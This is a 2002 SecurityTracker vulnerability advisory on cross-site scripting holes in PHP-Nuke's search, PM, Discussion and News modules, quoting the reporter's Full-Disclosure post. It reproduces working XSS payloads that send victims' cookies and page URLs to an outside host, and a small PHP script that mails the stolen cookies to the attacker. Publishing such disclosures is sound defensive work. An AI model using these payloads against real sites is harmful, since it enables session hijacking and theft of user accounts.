Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
PHP-Nuke Input Validation Holes in Search Module and Other Modules Allow Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1005692 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Nov 24 2002
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 6.5b1 and prior versions
|
Description: Input validation vulnerabilities were reported in several PHP-Nuke modules. A remote user can conduct cross-site scripting vulnerabilities to steal a user's authentication information.
It is reported that the search module does not filter HTML code from user-supplied search requests when displaying the user-supplied
search string.
A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running PHP-Nuke and will run in the security
context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies),
if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on
the site acting as the target user.
A demonstration exploit search string is provided:
<SCRIPT>location.href="http://www.techie.hopto.org/fetch.php?email=mattmurph
y@kc.rr.com&ref="+document.URL+"cookie="+document.cookie;</SCRIPT>
Several other modules, including the PM module, Discussion
module, and News module fail to properly filter user-supplied input from certain tags. Some demonstration exploit tags are provided:
<B
STYLE="left:expression(eval('
location.href=\'http://www.techie.hopto.org/fet
ch.php?email=mattmurphy@kc.rr.com&ref=\'+document.URL+\'cookie=\'+document.c
ookie'))">Bold
text -- or an attack?</B>
<B
ONCLICK="location.href='http://www.techie.hopto.org/fetch.php?email=mattmurp
hy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">
Don't Click</B>
<B
ONMOUSEOVER="location.href='http://www.techie.hopto.org/fetch.php?email=matt
murphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">Keep
Away!</B>
A demonstration exploit script is provided in the Source Message.
The vendor has reportedly been notified.
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running PHP-Nuke,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.phpnuke.org/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "Matthew Murphy" <mattmurphy@kc.rr.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Sun, 24 Nov 2002 12:09:04 -0600
From: "Matthew Murphy" <mattmurphy@kc.rr.com>
Subject: [Full-Disclosure] Multiple phpNuke Modules Vulnerable to Cross-Site Scripting
|
phpNuke Module Vulnerabilities Enable Identity Theft
Systems Affected: phpNuke 6.5b1 and prior (all operating systems)
Risk: High
Impact: Identity Theft/Impersonation/Privilege Elevation
Scenario: Cross-site scripting flaws enabling cookie theft
Description
phpNuke is a popular, and very complex content manager that runs on Unix,
Mac, and Windows systems with a MySQL or similar backend database. Many of
the content manager's modules contain serious vulnerabilities that allow
attackers to hijack or disable user accounts, and possibly gain
administrative privileges. Gaining such privileges could likely assist
further compromise of the susceptible system.
I. Search Module Vulnerability
The search module of phpNuke applies absolutely no filtering at all when
returning the "Results for x..." page, and as a result is susceptible to
cross-site scripting via a simple query such as:
<SCRIPT>location.href="http://www.techie.hopto.org/fetch.php?email=mattmurph
y@kc.rr.com&ref="+document.URL+"cookie="+document.cookie;</SCRIPT>
II. Multiple Module Extended Tag Vulnerabilities
phpNuke does a decent job of stripping known malicious tags, but doesn't
take into account the fact that even "safe" tags can have malicious
properties. This enables cross-site scripting against the PM module,
Discussion module, News module, etc. so basically any module that accepts
user input for an article, message, or comment, can be attacked with HTML
such as:
<B
STYLE="left:expression(eval('location.href=\'http://www.techie.hopto.org/fet
ch.php?email=mattmurphy@kc.rr.com&ref=\'+document.URL+\'cookie=\'+document.c
ookie'))">Bold text -- or an attack?</B>
<B
ONCLICK="location.href='http://www.techie.hopto.org/fetch.php?email=mattmurp
hy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">Don't Click</B>
<B
ONMOUSEOVER="location.href='http://www.techie.hopto.org/fetch.php?email=matt
murphy@kc.rr.com&ref='+document.URL+'cookie='+document.cookie">Keep
Away!</B>
III. Exploit Script
<?php
error_reporting(0);
$redir_ref = TRUE;
mail($_GET["email"], "phpNuke Cookie", $_GET["cookie"]);
if ($redir_ref) {
header("Location: ".urlencode($_GET["ref"]));
?>
Vendor Response
I've contacted www.phpnuke.org through a private message, but if anyone
knows a more reliable contact for them, please do use it, as this is not
likely the only route of contact. I sent a PM to "nukelite" with an example
exploit in it. I expect that future BETA releases will eliminate this
vulnerability. I am submitting this to the list so that vulnerable
administrators may make the necessary revisions to prevent this
vulnerability. The versions available for download on www.phpnuke.org as
well as the version deployed there, remains vulnerable at the time of this
writing.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
|
|
Go to the Top of This SecurityTracker Archive Page
|